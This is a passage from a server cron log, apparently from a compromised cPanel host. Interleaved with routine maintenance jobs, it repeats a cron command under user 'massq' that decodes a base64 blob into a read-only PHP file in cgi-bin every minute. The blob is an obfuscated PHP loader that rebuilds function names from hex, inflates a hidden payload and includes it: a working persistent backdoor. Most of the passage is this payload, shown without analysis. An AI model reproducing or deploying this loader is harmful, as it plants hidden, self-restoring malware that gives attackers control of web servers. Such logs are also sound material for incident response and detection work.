SpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:42:01 server CROND[1232]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 18:42:01 server CROND[1233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:43:01 server CROND[1306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:44:01 server CROND[1378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:45:01 server CROND[1443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:45:01 server CROND[1444]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 18:45:01 server CROND[1445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 18:46:01 server CROND[1560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:47:01 server CROND[1628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:48:01 server CROND[1793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:49:01 server CROND[1862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:50:01 server CROND[1936]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 18:50:01 server CROND[1940]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 18:50:01 server CROND[1942]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 18:50:01 server CROND[1941]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 18:50:01 server CROND[1943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:51:01 server CROND[2067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:52:01 server CROND[2128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:53:01 server CROND[2299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:54:01 server CROND[2371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:55:01 server CROND[2429]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 18:55:01 server CROND[2430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsid